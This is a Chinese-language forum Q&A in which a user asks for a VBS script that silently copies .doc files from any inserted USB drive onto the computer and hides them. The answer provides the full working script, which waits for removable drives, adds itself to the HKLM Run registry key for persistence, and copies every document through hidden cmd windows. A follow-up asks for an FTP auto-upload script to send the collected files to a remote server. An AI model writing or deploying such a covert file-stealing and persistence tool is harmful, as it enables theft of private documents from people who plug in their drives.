Question

求U盘拷贝到电脑的VBS脚本文件

哪位大神帮忙写一个脚本文件，在电脑上一直检测，U盘一但插到电脑上后，U盘里面的.doc文件自动拷贝到电脑里面并隐藏。谢谢啊
这个脚本怎么不能执行啊，哪里错了

Answer 1

'此脚本实在是太完美了!记住是控盘惨出品的哟~我给此脚本起个名字叫"U盘你哪里逃?!!!!!哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!!!!!!hahahahahahahhaaahahhashahahahashahdgbwsfgrerfgbjrhrieuhguirhgiurhgukrdghukr"
On Error Resume Next
Dim FSO,WS,Disk,I,OK,Ext,TargetPath,Txt,C,SingleThread
Set FSO=WScript.CreateObject("Scripting.FileSystemObject")
Set WS=WScript.CreateObject("WScript.Shell")
Ext=".doc"
'要复制的文件类型.
TargetPath="C:\U盘里的DOC文件"
'要复制到的目标路径(不存在会自动创建,你只管输入,其它事留给脚本办).
SingleThread=True
'此脚本最有意义的地方:使用多线程高速复制文件!(New招牌功能!如果你赶时间,就使用多线程高速复制!此功能可以高速复制文件!方法是把等于号后面的内容改成"False".但是此功能占用资源较多,容易导致复制出错或系统死机.如果你不赶时间,要保证质量,您可以把等于号后面的内容改成"True".请根据实际情况选择功能哟~)
C=Chr(34)
I=-1
Do
 For Each Disk In FSO.Drives
  If Disk.IsReady And Disk.DriveType=1 Then
   OK=True
   I=I+1
   ReDim Preserve Drive(I)
   Drive(I)=Disk.Path
  End If
 Next
Loop Until OK
'自动检测所有U盘!(我打赌你一定没有见过一台电脑插100000个U盘的...)没插U盘的话就等到U盘插进去再开始工作.
If FSO.FolderExists(TargetPath) Then
 With FSO.GetFolder(TargetPath)
  .Attributes=0
  .Delete
 End With
End If
FSO.CreateFolder(TargetPath)
WS.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyVBscriptScriptFile1524hgn54h5456gf4jgykj68gh7468fg4h",WScript.ScriptFullName,"REG_SZ"
'开机自动启动自己,U盘你哪里逃!
For I=0 To UBound(Drive)
 WS.Run "cmd.exe /C FOR /F ""delims="" %I IN ('DIR /S /B " & C & Drive(I) & "\*" & Ext & C & "') DO COPY ""%~sI"" "+C+TargetPath+C,0,SingleThread
Next

追问

可以帮忙写一个自动上传文件到文件夹的vbs脚本吗？ *判断当前system32目录下是否有ftp.txt文本文件，该文件是执行ftp包 括的命令信息
//*通过fso的对象写入执行FTP命令用到的信息写入到ftp.txt 并且通过ftp -s命令执行ftp.txt中的多个文件上传命令，上传tempupload中打好压缩包的文件到空间里。